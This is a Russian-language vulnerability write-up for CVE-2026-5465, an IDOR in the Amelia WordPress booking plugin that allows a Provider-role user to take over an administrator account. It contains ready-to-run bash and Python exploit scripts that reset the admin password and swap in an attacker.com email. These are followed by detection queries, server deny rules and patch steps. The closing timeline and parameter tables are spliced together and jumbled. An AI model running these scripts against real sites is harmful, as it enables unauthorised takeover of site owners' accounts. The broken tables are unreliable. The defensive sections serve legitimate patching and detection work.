
Эксплуатация и анализ CVE-2026-5465, IDOR в плагине Amelia для WordPress, позволяющий аутентифицированной роли Provider повышать привилегии и получать полный контроль над учётной записью через небезопасную прямую ссылку на объект.
Критическая уязвимость Небезопасных прямых ссылок на объекты (IDOR) в плагине Amelia, которая позволяет аутентифицированному пользователю с ролью Сотрудника (Provider) повысить привилегии вплоть до полного захвата контроля (Account Takeover) над сайтом WordPress, включая административный доступ.
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2026-5465 |
| Программное обеспечение | Amelia – Appointment Booking Calendar |
| Затронутые версии | ≤ 2.1.3 |
| Исправленная версия | ≥ 2.2.0 |
| Тип | Небезопасные прямые ссылки на объекты (IDOR) / Нарушенный контроль доступа |
| Вектор | Сеть (Аутентифицированный) |
| Сложность | Низкая |
| Воздействие | Критическое (Account Takeover) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (Обход авторизации) |
Ошибка находится в классе UpdateProviderCommandHandler, который обрабатывает обновления профиля поставщика.
Уязвимый поток:
1. Пользователь аутентифицирован как "Provider" (Сотрудник)
↓
2. Отправляет POST-запрос на конечную точку обновления
{
"externalId": 1, // ID администратора (не атакующего)
"firstName": "Взломанный админ",
"email": "[email protected]",
"password": "новый_пароль"
}
↓
3. Система НЕ проверяет, принадлежит ли 'externalId' текущему пользователю
↓
4. Использует wp_set_password(externalId, new_password)
↓
5. Пароль администратора изменён → Account Takeover
Отсутствие проверки владения (Ownership Check) перед обработкой конфиденциальных данных:
// УЯЗВИМЫЙ КОД (Упрощённый)
public function updateProvider($providerId, $data) {
// ❌ НЕ проверяет, равен ли providerId текущему_пользователю
$provider = Provider::find($providerId);
// Напрямую выполняет без проверки
wp_set_password($data['password'], $provider->wp_user_id);
}
// ПРАВИЛЬНЫЙ КОД
public function updateProvider($providerId, $data) {
// ✅ Проверяет владение
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://example.com"
PROVIDER_TOKEN="аутентифицированный_токен_provider"
ADMIN_ID=1
# Получить NONCE безопасности (если существует)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# Выполнить вредоносное обновление
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] Если ответ 200, администратор скомпрометирован"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""Эксплуатирует IDOR для смены пароля администратора"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] ЭКСПЛУАТАЦИЯ: Пользователь {target_user_id} скомпрометирован")
print(f"[*] Новый пароль: {new_password}")
return True
else:
print(f"[✗] Ошибка: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] Ошибка соединения: {e}")
return False
# Использование
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://example.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
Журнал аудита WordPress (если установлен):
Пользователь: [Provider ID]
Действие: Изменение пароля пользователя
Затронутый пользователь: Administrator
Временная метка: [Подозрительное время]
Журналы сервера (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [высокое значение]
→ Ответ 200 OK
База данных WordPress:
-- Несанкционированные изменения пароля
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- Подозрительные изменения email
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/# Через панель администратора WordPress
1. Перейти: Плагины > Установленные плагины
2. Найти: "Amelia"
3. Нажать: "Обновить сейчас"
4. Минимальная безопасная версия: 2.2.0+
# Через WP-CLI
wp plugin update amelia --allow-root
# Через WP-CLI
wp plugin deactivate amelia --allow-root
# Через FTP/SFTP
Переименовать: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# Разрешить только GET-запросы
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
Если сайт уже был скомпрометирован:
-- Смена пароля администратора через CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# Установить и проверить плагин: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// В wp-config.php, перегенерировать:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Правило Cloudflare WAF:
- Блокировать: POST к /wp-json/amelia/v1/providers/[0-9]+ с IP, не входящих в белый список
# Установка плагинов аудита
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Ограничение возможностей Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| Дата | Событие |
|---|---|
| 2026-01-15 | Уязвимость сообщена команде Amelia |
| 2026-02-01 |
Классификация: 🔴 КРИТИЧЕСКИЙ - Требует немедленных действий
Последнее обновление: Апрель 2026
Автор: Команда безопасности
| Параметр | Тип | Воздействие |
|---|
externalId | Integer | Смена идентичности (основной IDOR) |
password | String | Изменение пароля |
email | Кража сессии при сбросе | |
firstName, lastName | String | Изменение некритичных данных |
| Доступен патч (v2.2.0) |
| 2026-02-10 | Ответственное раскрытие CVE |
| 2026-02-11 | Эксплойты в дикой природе |
| СЕГОДНЯ | Рекомендация срочного обновления |